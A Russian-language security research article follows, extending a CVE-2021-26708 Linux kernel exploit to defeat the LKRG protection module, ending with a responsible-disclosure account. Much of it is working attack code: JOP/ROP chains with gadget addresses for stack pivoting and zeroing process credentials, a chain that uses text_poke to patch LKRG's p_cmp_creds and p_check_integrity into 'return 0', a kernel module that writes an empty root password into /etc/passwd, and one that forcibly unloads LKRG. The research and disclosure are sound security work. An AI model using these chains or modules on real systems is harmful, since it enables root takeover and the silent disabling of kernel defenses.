[ru] Исследование защиты LKRG с помощью уязвимости CVE-2021-26708 в ядре Linux
В этой статье я расскажу о продолжении моего исследования уязвимости CVE-2021-26708 в ядре Linux. Я доработал свой прототип эксплоита и с помощью него исследовал средство защиты Linux Kernel Runtime Guard (LKRG) с позиции атакующего. Я расскажу, как мне удалось найти новый метод обхода защиты LKRG, и как я выполнил ответственное разглашение результатов своего исследования.
Летом я выступил с докладом по этой теме на конференции ZeroNights 2021 (слайды):
Зачем я продолжил исследование
В первой статье я описал прототип эксплоита для локального повышения привилегий на Fedora 33 Server
для платформы x86_64
. Я рассказал, как состояние гонки в реализации виртуальных сокетов ядра Linux может привести к повреждению четырех байтов ядерной памяти. Я показал, как атакующий может шаг за шагом превратить эту ошибку в произвольное чтение-запись памяти ядра и повысить свои привилегии в системе. Но этот способ повышения привилегий имеет некоторые ограничения, которые мешали мне экспериментировать в системе под защитой LKRG. Я решил продолжить исследование и выяснить, можно ли их устранить. Сейчас я поясню, в чем было дело.
Мой прототип эксплоита выполнял произвольную запись с помощью перехвата потока управления при вызове деструктора destructor_arg
в атакованном ядерном объекте sk_buff
:
Этот деструктор имеет следующий прототип:
void (*callback)(struct ubuf_info *, bool zerocopy_success);
Когда ядро вызывает его в функции skb_zcopy_clear()
, регистр RDI
содержит первый аргумент функции. Это адрес самой структуры ubuf_info
. А регистр RSI
хранит 1
в качестве второго аргумента функции.
Содержимое этой структуры ubuf_info
контролируется эксплоитом. Однако первые восемь байтов в ней должны быть заняты адресом функции-деструктора, как видно на схеме. В этом и есть основное ограничение. Из-за него ROP-гаджет для переключения ядерного стека на контролируемую область памяти (stack pivoting) должен выглядеть примерно так:
mov rsp, qword ptr [rdi + 8] ; ret
К сожалению, ничего похожего в ядре Fedora vmlinuz-5.10.11-200.fc33.x86_64
найти не удалось. Но зато с помощью ROPgadget
я нашел такой гаджет, который удовлетворяет этим ограничениям и выполняет запись ядерной памяти вообще без переключения ядреного стека:
mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
Как сказано выше, RDI + 8
— это адрес ядерной памяти, содержимое которой контролирует атакующий. В регистре RSI
содержится 1, а в RCX
— 0. То есть этот гаджет записывает семь нулевых байтов и один байт с 1 по адресу, который задает атакующий. Как выполнить повышение привилегий процесса с помощью этого ROP-гаджета? Мой прототип эксплоита записывает 0 в поля uid
, gid
, effective uid
и effective gid
структуры cred
.
Мне удалось придумать хоть и странный, но вполне рабочий эксплоит-примитив. При этом я не был полностью удовлетворен этим решением, потому что оно не давало возможности полноценного ROP. Кроме того, приходилось выполнять перехват потока управления дважды, чтобы перезаписать все необходимые поля в struct cred
. Это делало прототип эксплоита менее надежным. Поэтому я решил немного отдохнуть и продолжить исследование.
Регистры под контролем атакующего
Первым делом я решил еще раз посмотреть на состояние регистров процессора в момент перехвата потока управления. Я поставил точку останова в функции skb_zcopy_clear()
, которая вызывает обработчик callback
из destructor_arg
:
$ gdb vmlinux
gdb-peda$ target remote :1234
gdb-peda$ break ./include/linux/skbuff.h:1481
Вот что отладчик показывает прямо перед перехватом потока управления:
Какие ядерные адреса хранятся в регистрах процессора? RDI
и R8
содержат адрес ubuf_info
, о котором было сказано выше. Разыменование этого указателя дает указатель на функцию callback
, который загружен в регистр RAX
. В регистре R9
содержится некоторый указатель на память в ядерном стеке (его значение близко к значению RSP
). В регистрах R12
и R14
находятся какие-то адреса памяти в ядерной куче, и мне не удалось выяснить, на какие объекты они ссылаются.
А вот регистр RBP
, как оказалось, содержит адрес skb_shared_info
. Это адрес моего объекта sk_buff
плюс отступ SKB_SHINFO_OFFSET
, который равен 3776
или 0xec0
(больше деталей в первой статье). Этот адрес дал мне надежду на успех, потому что он указывает на память, содержимое которой находится под контролем эксплоита. Я начал искать ROP/JOP-гаджеты, задействующие RBP
.
Исчезающие JOP-гаджеты
Я стал просматривать все доступные гаджеты с участием RBP
и нашел множество JOP-гаджетов, похожих на этот:
0xffffffff81711d33 : xchg eax, esp ; jmp qword ptr [rbp + 0x48]
Адрес RBP + 0x48
также указывает на ядерную память под контролем атакующего. Я понял, что могу выполнить stack pivoting с помощью цепочки таких JOP-гаджетов, после чего выполнить полноценную ROP-цепочку. Отлично!
Для быстрого эксперимента я взял этот гаджет xchg eax, esp ; jmp qword ptr [rbp + 0x48]
. Он переключает ядерный стек на память в пользовательском пространстве. Сначала я удостоверился, что этот гаджет действительно находится в коде ядра:
$ gdb vmlinux
gdb-peda$ disassemble 0xffffffff81711d33
Dump of assembler code for function acpi_idle_lpi_enter:
0xffffffff81711d30 <+0>: call 0xffffffff810611c0 <__fentry__>
0xffffffff81711d35 <+5>: mov rcx,QWORD PTR gs:[rip+0x7e915f4b]
0xffffffff81711d3d <+13>: test rcx,rcx
0xffffffff81711d40 <+16>: je 0xffffffff81711d5e <acpi_idle_lpi_enter+46>
gdb-peda$ x/2i 0xffffffff81711d33
0xffffffff81711d33 <acpi_idle_lpi_enter+3>: xchg esp,eax
0xffffffff81711d34 <acpi_idle_lpi_enter+4>: jmp QWORD PTR [rbp+0x48]
Так и есть. Код функции acpi_idle_lpi_enter()
начинается с адреса 0xffffffff81711d30
, и гаджет отображается, если смотреть на код этой функции с трехбайтовым отступом.
Однако, когда я попробовал выполнить этот гаджет при перехвате потока управления, ядро неожиданно выдало отказ страницы (page fault). Я стал отлаживать эту ошибку и заодно спросил моего друга Андрея Коновалова, известного исследователя безопасности Linux, не сталкивался ли он с таким эффектом. Андрей обратил внимание, что байты кода, которые распечатало ядро, отличались от вывода утилиты objdump
для исполняемого файла ядра.
Это был первый случай в моей практике с ядром Linux, когда дамп кода в ядерном журнале оказался полезен :) Я подключился отладчиком к работающему ядру и обнаружил, что код функции acpi_idle_lpi_enter()
действительно изменился:
$ gdb vmlinux
gdb-peda$ target remote :1234
gdb-peda$ disassemble 0xffffffff81711d33
Dump of assembler code for function acpi_idle_lpi_enter:
0xffffffff81711d30 <+0>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81711d35 <+5>: mov rcx,QWORD PTR gs:[rip+0x7e915f4b]
0xffffffff81711d3d <+13>: test rcx,rcx
0xffffffff81711d40 <+16>: je 0xffffffff81711d5e <acpi_idle_lpi_enter+46>
gdb-peda$ x/2i 0xffffffff81711d33
0xffffffff81711d33 <acpi_idle_lpi_enter+3>: add BYTE PTR [rax],al
0xffffffff81711d35 <acpi_idle_lpi_enter+5>: mov rcx,QWORD PTR gs:[rip+0x7e915f4b]
На самом деле, ядро Linux может модифицировать свой собственный код в момент исполнения. В этом конкретном случае код функции acpi_idle_lpi_enter()
был изменен механизмом CONFIG_DYNAMIC_FTRACE
. Он также испортил множество других JOP-гаджетов, на которые я рассчитывал! Чтобы не попасть в такую ситуацию снова, я решил попробовать искать нужные ROP/JOP-гаджеты в памяти ядра живой виртуальной машины.
Евгений Корнеев. Портрет академика Л. К. Богуша. 1980
Сначала я опробовал команду ropsearch
из инструмента gdb-peda
, но у нее оказалась слишком ограниченная функциональность. Тогда я зашел с другой стороны и сделал снимок всей области памяти с ядерным кодом с помощью команды gdb-peda dumpmem
. В первую очередь нужно было определить расположение ядерного кода в памяти:
[root@localhost ~]# grep "_text" /proc/kallsyms
ffffffff81000000 T _text
[root@localhost ~]# grep "_etext" /proc/kallsyms
ffffffff81e026d7 T _etext
Затем я сделал снимок памяти между адресами _text
и _etext
:
gdb-peda$ dumpmem kerndump 0xffffffff81000000 0xffffffff81e03000
Dumped 14692352 bytes to 'kerndump'
После этого я применил к полученному файлу утилиту ROPgadget
. Она может искать ROP/JOP-гаджеты в сыром снимке памяти, если задать дополнительные опции (спасибо за подсказку моему другу Максиму Горячему, известному исследователю безопасности аппаратного обеспечения):
# ./ROPgadget.py --binary kerndump --rawArch=x86 --rawMode=64 > rop_gadgets_5.10.11_kerndump
Теперь я был готов составить JOP/ROP-цепочку.
JOP/ROP-цепочка для stack pivoting
Я изучил гаджеты с регистром RBP
, которые остались в памяти живой машины с учетом CONFIG_DYNAMIC_FTRACE
, и смог составить такую JOP/ROP-цепочку для переключения ядерного стека на контролируемую мной область памяти:
/* JOP/ROP gadget chain for stack pivoting: */
/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
#define STACK_PIVOT_1_MOV_ECX_ESP_JMP (0xFFFFFFFF81768A43lu + kaslr_offset)
/* push rdi ; jmp qword ptr [rbp - 0x75] */
#define STACK_PIVOT_2_PUSH_RDI_JMP (0xFFFFFFFF81B5FD0Alu + kaslr_offset)
/* pop rsp ; pop rbx ; ret */
#define STACK_PIVOT_3_POP_RSP_POP_RBX_RET (0xFFFFFFFF8165E33Flu + kaslr_offset)
-
Первый JOP-гаджет сохраняет младшие 32 бита регистра
RSP
(указатель на стек) в регистреECX
и затем совершает прыжок по адресу, указывающему на следующий гаджет. Это действие важно, потому что эксплоит в конце должен будет восстановить исходное значениеRSP
. К сожалению, в образе ядра не нашлось аналогичного гаджета, который сохранил бы значениеRSP
полностью. Тем не менее я нашел способ обойтись его половиной. Про этот трюк будет рассказано далее. -
Второй JOP-гаджет помещает в ядерный стек адрес
ubuf_info
из регистраRDI
, после чего также совершает прыжок по адресу, указывающему на следующий гаджет. -
Наконец, заключительный ROP-гаджет записывает адрес структуры
ubuf_info
в стековый указатель. Затем он выполняет инструкциюpop rbx
, которая добавляет восемь байтов к значениюRSP
. Тем самым стековый указатель сдвигается с адреса первого JOP-гаджета, который хранится в начале структурыubuf_info
(как было описано выше). Теперь вRSP
содержится адрес начала ROP-цепочки, исполнение которой начнется после инструкцииret
. Отлично!
Вот как эксплоит готовит эту цепочку в памяти для перезаписи ядерного объекта sk_buff
:
/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
uinfo_p->callback = STACK_PIVOT_1_MOV_ECX_ESP_JMP;
unsigned long *jmp_addr_1 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET + 0x48);
/* push rdi ; jmp qword ptr [rbp - 0x75] */
*jmp_addr_1 = STACK_PIVOT_2_PUSH_RDI_JMP;
unsigned long *jmp_addr_2 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET - 0x75);
/* pop rsp ; pop rbx ; ret */
*jmp_addr_2 = STACK_PIVOT_3_POP_RSP_POP_RBX_RET;
ROP-цепочка для повышения привилегий
После того как я справился с переключением ядерного стека на контролируемую мной область памяти, я быстро собрал ROP-цепочку для повышения привилегий:
unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;
#define ROP_POP_RAX_RET (0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + kaslr_offset)
/* 1. Perform privilege escalation */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
Тут довольно просто. Ядерный адрес owner_cred
был получен эксплоитом с помощью произвольного чтения ядерной памяти (все подробности в первой статье). Представленная часть ROP-цепочки использует этот адрес, чтобы перезаписать значение uid
, gid
, effective uid
и effective gid
нулем, что дает привилегии суперпользователя.
Далее ROP-цепочка должна восстановить исходное значение регистра RSP
и продолжить исполнение системного вызова как ни в чем не бывало. Как у меня получилось это сделать? Младшие 32 бита изначального стекового указателя были сохранены в регистре RCX
. А старшие 32 бита можно извлечь из значения регистра R9
, так как в нем хранится некоторый адрес из ядерного стека (это было показано выше на выводе отладчика). Немного битовой арифметики — и готово:
#define ROP_MOV_RAX_R9_RET (0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET (0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET (0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET (0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_PUSH_RAX_POP_RBX_RET (0xFFFFFFFF810D64D1lu + kaslr_offset)
#define ROP_PUSH_RBX_POP_RSP_RET (0xFFFFFFFF810749E9lu + kaslr_offset)
/* 2. Restore RSP and continue */
rop_gadget[i++] = ROP_MOV_RAX_R9_RET; /* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 0xffffffff00000000lu;
rop_gadget[i++] = ROP_AND_RAX_RDX_RET; /* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD_RAX_RCX_RET; /* add rax, rcx ; ret */
rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; ret */
rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET; /* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret*/
Здесь значение регистра R9
копируется в RAX
. Затем битовая маска 0xffffffff00000000
сохраняется в RDX
, и побитовая операция AND
выполняется для RAX
и RDX
. В результате RAX
содержит старшие биты исходного стекового указателя, к которым нужно прибавить младшие биты из RCX
. Результат загружается в регистр RSP
через RBX
(мне пришлось сделать так, потому что в памяти машины не нашлось гаджета типа mov rsp, rax ; ret
).
Финальная инструкция RET
возвращает управление из ROP-цепочки. За счет аккуратно восстановленного значения RSP
ядро продолжает обработку системного вызова recv()
, однако эксплоит уже выполняется с привилегиями пользователя root
.
Проверить LKRG на прочность
Linux Kernel Runtime Guard (LKRG) — это очень интересный проект. Он предоставляет ядерный модуль, который в процессе работы системы проверяет целостность ядра и противодействует эксплуатации уязвимостей в нем. LKRG выявляет ядерные эксплоиты по характерным действиям и повреждению определенных данных. LKRG обнаруживает:
- несанкционированное повышение привилегий
- через вызов функции
commit_creds()
- или с помощью перезаписи
struct cred
;
- через вызов функции
- нарушение изоляции процесса и выход из namespace;
- несанкционированное изменение состояния процессора (например, отключение
SMEP
иSMAP
наx86_64
); - неправомерное изменение данных в секциях
.text
и.rodata
ядра Linux; - выполнение приемов stack pivoting и ROP;
- и еще многое другое.
Этот проект поддерживается компанией Openwall. Основной разработчик — Адам 'pi3' Заброцки, который занимается проектом в свободное время. В данный момент LKRG поставляется в бета-версии, при этом разработчики стараются поддерживать высокую надежность и портируемость между различными версиями ядра. Вот что Адам говорит о проекте:
We are aware that LKRG is bypassable by design (as we have always spoken openly)
but such bypasses are neither easy nor cheap/reliable.
Перевожу это так:
Мы знаем, что защиту LKRG можно обойти (о чем мы всегда открыто говорили),
однако эти методы обхода непростые, недешевые и ненадежные.
Илья Матвейчиков, известный эксперт по руткитам, уже проводил исследования в этой области. Он собрал результаты своих экспериментов в отдельном репозитории. В ответ Адам проанализировал работу Ильи и улучшил LKRG, чтобы устранить эти методы обхода защиты.
Я решил доработать мой улучшенный прототип эксплоита для CVE-2021-26708 и придумать новый способ обхода LKRG. Стало еще интереснее. Моя первая идея была такая:
LKRG отслеживает несанкционированное повышение привилегий,
но при этом не следит за содержимым файла '/etc/passwd'.
Значит, я могу попробовать незаметно сбросить пароль пользователя root
через изменение '/etc/passwd'! Выполнение команды 'su' после этого
будет выглядеть для LKRG абсолютно легально.
Я сделал быстрый прототип для этой идеи. Удобно было оформить его в виде небольшого модуля ядра:
#include <linux/module.h>
#include <linux/kallsyms.h>
static int __init pwdhack_init(void)
{
struct file *f = NULL;
char *str = "root::0:0:root:/root:/bin/bash\n";
ssize_t wret;
loff_t pos = 0;
pr_notice("pwdhack: init\n");
f = filp_open("/etc/passwd", O_WRONLY, 0);
if (IS_ERR(f)) {
pr_err("pwdhack: filp_open() failed\n");
return -ENOENT;
}
wret = kernel_write(f, str, strlen(str), &pos);
printk("pwdhack: kernel_write() returned %ld\n", wret);
pr_notice("pwdhack: done\n");
return 0;
}
static void __exit pwdhack_exit(void)
{
pr_notice("pwdhack: exit\n");
}
module_init(pwdhack_init)
module_exit(pwdhack_exit)
MODULE_LICENSE("GPL v2");
Этот ядерный код перезаписывает начало файла /etc/passwd
строкой root::0:0:root:/root:/bin/bash\n
и тем самым устанавливает пустой пароль для пользователя root
. После этого непривилегированный пользователь может выполнить команду su
и беспрепятственно получить привилегии суперпользователя.
Далее я реализовал в своей ROP-цепочке такую логику с вызовом функций filp_open()
и kernel_write()
, но эксплоит не смог открыть файл /etc/passwd
. Оказывается, ядро проверяет привилегии процесса и правила политики SELinux, даже когда файл открывается из пространства ядра. Перезапись привилегий перед filp_open()
тоже не сработала: LKRG сразу же обнаружил это и убил процесс эксплоита. Таким образом, эту идею пришлось отбросить.
Вперед, в атаку на LKRG!
Размышляя об LKRG с позиции атакующего, я осознал, что не нужно от него прятаться. Напротив, мне пришла идея как-то уничтожить LKRG прямо из ROP-цепочки.
Анатолий Волков. Снежки. 1957
Самый прямой путь к этой цели — просто выгрузить LKRG из ядра. Я написал небольшой модуль ядра, чтобы проверить эту гипотезу перед тем, как перерабатывать ROP-цепочку в эксплоите:
#include <linux/module.h>
#include <linux/kallsyms.h>
static int __init destroy_lkrg_init(void)
{
struct module *lkrg_mod = find_module("p_lkrg");
if (!lkrg_mod) {
pr_notice("destroy_lkrg: p_lkrg module is NOT found\n");
return -ENOENT;
}
if (!lkrg_mod->exit) {
pr_notice("destroy_lkrg: p_lkrg module has no exit method\n");
return -ENOENT;
}
pr_notice("destroy_lkrg: p_lkrg module is found, remove it brutally!\n");
lkrg_mod->exit();
return 0;
}
static void __exit destroy_lkrg_exit(void)
{
pr_notice("destroy_lkrg: exit\n");
}
module_init(destroy_lkrg_init)
module_exit(destroy_lkrg_exit)
MODULE_LICENSE("GPL v2");
Эксперимент показал, что это рабочая идея, модуль LKRG был выгружен. Тогда я реализовал в моей ROP-цепочке эту логику с вызовом функций find_module()
и exit()
из LKRG, но она не сработала. Почему? В функции p_lkrg_deregister()
в процессе своей выгрузки LKRG вызывает ядерную функцию schedule()
, в которой у него поставлена дополнительная проверка pCFI
(LKRG вставляет такие проверки во многие важные точки ядра Linux). Эта проверка обнаруживает мою ROP-цепочку и убивает процесс эксплоита прямо в процессе выгрузки модуля LKRG. К тому же система при этом зависает. Жаль, хорошая была идея.
Тогда я стал думать, как еще можно вывести LKRG из строя, и обратил внимание на kprobes
и kretprobes
. Это как раз тот механизм, с помощью которого LKRG расставляет свои проверки по всему ядру Linux. Первым делом я попробовал просто выключить kprobes
через штатную настройку в debugfs
:
[root@localhost ~]# echo 0 > /sys/kernel/debug/kprobes/enabled
На системе без LKRG это сработало корректно, но когда я попробовал сделать это с загруженным LKRG, система полностью зависла. Мне кажется, в этом случае где-то в ядре из-за LKRG происходит взаимная блокировка (deadlock) или бесконечный цикл. Как бы то ни было, я не стал тратить дополнительное время на отладку этой ошибки.
Кстати, отладка ядра с LKRG — это то еще удовольствие. Например, я долго не мог понять, почему ядро Linux с LKRG падает (crash) каждый раз, когда я пытаюсь поработать в отладчике. Дело в том, что при задании точки останова gdb
меняет инструкцию в коде ядра, а LKRG в параллельном потоке через некоторое время обнаруживает это как «ошибку целостности» и убивает всю машину, пока я таращусь в отладчик, пытаясь понять, что к чему :)
Успешная атака на LKRG
Наконец мне удалось придумать рабочую атаку против LKRG. Я стал разбираться в его коде и нашел две функции, которые отвечают за главную функциональность. Это p_check_integrity()
, которая выполняет проверку целостности кода ядра, и p_cmp_creds()
, которая сверяет привилегии процессов системы с внутренней базой LKRG и обнаруживает несанкционированное повышение привилегий.
Мне пришла идея атаковать в лоб и переписать код этих двух функций прямо из ROP-цепочки в эксплоите. Я сделал это с помощью байтов 0x48 0x31 0xc0 0xc3
, которые представляют собой инструкции xor rax, rax ; ret
, то есть return 0
. После этого я беспрепятственно поднял привилегии процесса эксплоита. Отлично! Разберем получившуюся финальную ROP-цепочку:
unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;
#define SAVED_RSP_OFFSET 3400
#define ROP_MOV_RAX_R9_RET (0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET (0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET (0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET (0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_MOV_RDX_RAX_RET (0xFFFFFFFF81999A1Dlu + kaslr_offset)
#define ROP_POP_RAX_RET (0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_RDX_RET (0xFFFFFFFF81B6CB17lu + kaslr_offset)
/* 1. Save RSP */
rop_gadget[i++] = ROP_MOV_RAX_R9_RET; /* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 0xffffffff00000000lu;
rop_gadget[i++] = ROP_AND_RAX_RDX_RET; /* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD_RAX_RCX_RET; /* add rax, rcx ; ret */
rop_gadget[i++] = ROP_MOV_RDX_RAX_RET; /* mov rdx, rax ; shr rax, 0x20 ; xor eax, edx ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_RDX_RET; /* mov qword ptr [rax], rdx ; ret */
Эта часть ROP-цепочки восстанавливает начальное значение RSP
из битов в ECX
и R9
(методику я описывал выше). Это значение стекового указателя сохраняется в ядерном объекте sk_buff
(он под контролем атакующего) по отступу SAVED_RSP_OFFSET
. Эта хитрость позволяет не занимать под хранение значения отдельный регистр, он еще пригодится.
#define KALLSYMS_LOOKUP_NAME (0xffffffff81183dc0lu + kaslr_offset)
#define FUNCNAME_OFFSET_1 3550
#define ROP_POP_RDI_RET (0xFFFFFFFF81004652lu + kaslr_offset)
#define ROP_JMP_RAX (0xFFFFFFFF81000087lu + kaslr_offset)
/* 2. Destroy lkrg : part 1 */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = KALLSYMS_LOOKUP_NAME;
/* unsigned long kallsyms_lookup_name(const char *name) */
rop_gadget[i++] = ROP_POP_RDI_RET; /* pop rdi ; ret */
rop_gadget[i++] = uaf_write_value + FUNCNAME_OFFSET_1;
strncpy((char *)xattr_addr + FUNCNAME_OFFSET_1, "p_cmp_creds", 12);
rop_gadget[i++] = ROP_JMP_RAX; /* jmp rax */
Эта часть ROP-цепочки вызывает функцию kallsyms_lookup_name("p_cmp_creds")
. В ядерном объекте sk_buff
по отступу FUNCNAME_OFFSET_1
подготавливается строка "p_cmp_creds"
. Ее адрес загружается в регистр RDI
, через который должен передаваться первый аргумент функции в соответствии с System V AMD64 ABI.
Важно заметить, что опция lkrg.hide
по умолчанию имеет значение 0, что позволяет атакующему легко получить адреса функций LKRG с помощью вызова kallsyms_lookup_name()
. Также есть и другие способы сделать это.
#define XOR_RAX_RAX_RET (0xFFFFFFFF810859C0lu + kaslr_offset)
#define ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET (0xFFFFFFFF81196AA2lu + kaslr_offset)
/* If lkrg function is not found, let's patch "xor rax, rax ; ret" */
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = XOR_RAX_RAX_RET;
rop_gadget[i++] = ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET; /* test rax, rax ; cmove rax, rdx ; ret*/
В этой части ROP-цепочки идет обработка результата вызова kallsyms_lookup_name()
. Эта функция через регистр RAX
возвращает адрес p_cmp_creds()
или NULL
, если модуль LKRG не загружен. Эксплоит должен корректно обрабатывать оба этих случая, и я придумал для этого такой трюк:
- Я нашел в ядерной памяти живой машины байты инструкций
xor rax, rax ; ret
, их адрес здесь определен какXOR_RAX_RAX_RET
. - Этот адрес загружается в регистр
RDX
. - Если
kallsyms_lookup_name("p_cmp_creds")
возвращаетNULL
, то этот адрес загружается в регистрRAX
вместоNULL
. Для этого используется инструкция conditional move в гаджетеtest rax, rax ; cmove rax, rdx ; ret
.
Отлично! Если модуль LKRG загружен в ядро, эксплоит перепишет код функции p_cmp_creds()
инструкциями xor rax, rax ; ret
. В противном случае, если LKRG отсутствует, эксплоит перепишет инструкции xor rax, rax ; ret
теми же самыми байтами и ничего не испортит в ядерной памяти. Эта перезапись (patching) выполняется в следующей части ROP-цепочки:
#define TEXT_POKE (0xffffffff81031300lu + kaslr_offset)
#define CODE_PATCH_OFFSET 3450
#define ROP_MOV_RDI_RAX_POP_RBX_RET (0xFFFFFFFF81020ABDlu + kaslr_offset)
#define ROP_POP_RSI_RET (0xFFFFFFFF810006A4lu + kaslr_offset)
rop_gadget[i++] = ROP_MOV_RDI_RAX_POP_RBX_RET;
/* mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret */
rop_gadget[i++] = 0x1337; /* dummy value for RBX */
rop_gadget[i++] = ROP_POP_RSI_RET; /* pop rsi ; ret */
rop_gadget[i++] = uaf_write_value + CODE_PATCH_OFFSET;
strncpy((char *)xattr_addr + CODE_PATCH_OFFSET, "\x48\x31\xc0\xc3", 5);
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 4;
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = TEXT_POKE;
/* void *text_poke(void *addr, const void *opcode, size_t len) */
rop_gadget[i++] = ROP_JMP_RAX; /* jmp rax */
Здесь эксплоит подготавливает в регистрах аргументы для вызова функции text_poke()
, которая и выполнит перезапись ядерного кода:
- Адрес цели для перезаписи копируется из
RAX
вRDI
. Это будет первый аргумент функции. К сожалению, мне не удалось найти меньший гаджет, который сделает это копирование, поэтому здесь на стеке подготовлены дополнительные байты для лишней инструкцииpop rbx
из первого гаджета. - В объекте
sk_buff
по отступуCODE_PATCH_OFFSET
подготавливается полезная нагрузка0x48 0x31 0xc0 0xc3
для перезаписи кода. Ее адрес сохраняется в регистрRSI
в качестве второго аргумента функции. - Третий аргумент функции
text_poke()
— это длина данных для перезаписи. Он передается через регистрRDX
и имеет значение 4.
Ядерная функция text_poke()
— это штатная функциональность, с помощью которой ядро может изменять свой собственный код в динамике, во время работы. Эта функция на краткое время делает отображение нужного кода доступным для записи и выполняет memcpy()
. Данной функциональностью как раз пользуется kprobes
и другие механизмы ядра Linux.
Описанная процедура с kallsyms_lookup_name()
, cmove
и text_poke()
затем выполняется для перезаписи функции p_check_integrity()
из модуля LKRG. Тем самым эксплоит устраняет защиту LKRG, делая его полностью беспомощным. Теперь можно беспрепятственно повысить привилегии процесса (это уже было описано выше):
#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + kaslr_offset)
/* 3. Perform privilege escalation */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
Финальная часть ROP-цепочки восстанавливает начальное значение регистра RSP
из данных объекта sk_buff
по отступу SAVED_RSP_OFFSET
:
/* 4. Restore RSP and continue */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
rop_gadget[i++] = ROP_MOV_RAX_QWORD_PTR_RAX_RET; /* mov rax, qword ptr [rax] ; ret */
rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; ret */
rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET;
/* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret */
После этого ядро возобновляет обработку системного вызова recv()
, но процесс эксплоита при этом обладает привилегиями пользователя root
. Всё, пожалуй, это была самая сложная часть статьи.
Николай Ломакин. Первая деталь. 1953
Ответственное разглашение информации
О результатах моих экспериментов с LKRG я сообщил Адаму Заброцки и Александру Песляку (Solar Designer) 10 июня 2021 года. Мы детально обсудили мои способы обхода защиты LKRG и обменялись мнениями о проекте в целом.
С позволения Адама и Александра 3 июля я опубликовал результаты моего исследования в открытом списке рассылки lkrg-users
. На момент публикации этой статьи мой метод атаки все еще работает. Для защиты требуется переработка архитектуры LKRG, которая планируются в будущем.
На мой взгляд, LKRG — замечательный проект. Когда я начал изучать его, я сразу же отметил, что Адам и другие разработчики приложили большие усилия, чтобы сделать качественный и красивый продукт. Вместе с тем я убежден, что обнаружение последствий эксплуатации ядерных уязвимостей на уровне самого ядра невозможно. Альберт Эйнштейн говорил: «Невозможно решить проблему на том же уровне, на котором она возникла».
Другими словами, защита LKRG должна работать на другом уровне или в другом контексте, чтобы обнаруживать деятельность атакующего в ядре. В частности, модуль LKRG мог бы представлять большую преграду для атакующего, если бы он был перенесен на уровень гипервизора или же в Arm Trusted Execution Environment. Такое портирование — сложная инженерная задача, и для ее решения разработчикам LKRG требуется поддержка сообщества и, возможно, заинтересованных в проекте компаний.
Заключение
